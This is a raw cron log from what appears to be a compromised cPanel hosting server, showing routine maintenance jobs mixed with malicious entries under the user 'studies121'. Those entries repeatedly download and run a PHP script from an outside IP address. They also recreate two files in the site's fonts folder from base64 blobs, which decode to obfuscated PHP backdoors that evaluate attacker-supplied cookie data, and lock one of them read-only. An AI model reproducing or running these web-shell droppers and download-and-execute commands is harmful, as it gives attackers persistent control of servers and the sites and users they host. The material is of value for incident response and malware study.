Sep  9 22:55:01 ip-184-168-122-23 CROND[26160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:55:01 ip-184-168-122-23 CROND[26161]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:55:01 ip-184-168-122-23 CROND[26156]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:56:01 ip-184-168-122-23 CROND[26273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:56:01 ip-184-168-122-23 CROND[26275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:56:01 ip-184-168-122-23 CROND[26276]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:56:01 ip-184-168-122-23 CROND[26277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:56:01 ip-184-168-122-23 CROND[26278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:57:01 ip-184-168-122-23 CROND[26368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:57:01 ip-184-168-122-23 CROND[26371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:57:01 ip-184-168-122-23 CROND[26372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:57:01 ip-184-168-122-23 CROND[26370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:58:01 ip-184-168-122-23 CROND[26457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:58:01 ip-184-168-122-23 CROND[26459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:58:01 ip-184-168-122-23 CROND[26460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:58:01 ip-184-168-122-23 CROND[26461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:58:01 ip-184-168-122-23 CROND[26462]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:59:01 ip-184-168-122-23 CROND[26541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:59:01 ip-184-168-122-23 CROND[26542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:59:01 ip-184-168-122-23 CROND[26544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:59:01 ip-184-168-122-23 CROND[26545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:00:01 ip-184-168-122-23 CROND[26710]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 23:00:01 ip-184-168-122-23 CROND[26713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:00:01 ip-184-168-122-23 CROND[26715]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:00:01 ip-184-168-122-23 CROND[26714]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:00:01 ip-184-168-122-23 CROND[26717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:00:01 ip-184-168-122-23 CROND[26718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:00:01 ip-184-168-122-23 CROND[26724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:00:01 ip-184-168-122-23 CROND[26723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:01:01 ip-184-168-122-23 CROND[26814]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 23:01:01 ip-184-168-122-23 CROND[26815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:01:01 ip-184-168-122-23 CROND[26816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:01:01 ip-184-168-122-23 CROND[26817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:01:01 ip-184-168-122-23 CROND[26818]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 23:01:01 ip-184-168-122-23 CROND[26819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26814]: starting 0anacron
Sep  9 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26837]: finished 0anacron
Sep  9 23:02:02 ip-184-168-122-23 CROND[26916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:02:02 ip-184-168-122-23 CROND[26918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:02:02 ip-184-168-122-23 CROND[26920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:02:02 ip-184-168-122-23 CROND[26921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:02:02 ip-184-168-122-23 CROND[26919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:03:01 ip-184-168-122-23 CROND[26998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:03:01 ip-184-168-122-23 CROND[26999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:03:01 ip-184-168-122-23 CROND[27000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:03:01 ip-184-168-122-23 CROND[27001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:04:01 ip-184-168-122-23 CROND[27095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:04:01 ip-184-168-122-23 CROND[27097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:04:01 ip-184-168-122-23 CROND[27098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:04:01 ip-184-168-122-23 CROND[27101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:04:01 ip-184-168-122-23 CROND[27099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:05:01 ip-184-168-122-23 CROND[27218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:05:01 ip-184-168-122-23 CROND[27221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:05:01 ip-184-168-122-23 CROND[27222]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:05:01 ip-184-168-122-23 CROND[27223]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 23:05:01 ip-184-168-122-23 CROND[27225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:05:01 ip-184-168-122-23 CROND[27224]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:05:01 ip-184-168-122-23 CROND[27220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:06:01 ip-184-168-122-23 CROND[27380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:06:01 ip-184-168-122-23 CROND[27383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:06:01 ip-184-168-122-23 CROND[27384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:06:01 ip-184-168-122-23 CROND[27382]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:06:01 ip-184-168-122-23 CROND[27385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:07:01 ip-184-168-122-23 CROND[27545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:07:01 ip-184-168-122-23 CROND[27546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:07:01 ip-184-168-122-23 CROND[27547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:07:01 ip-184-168-122-23 CROND[27549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:08:01 ip-184-168-122-23 CROND[27637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
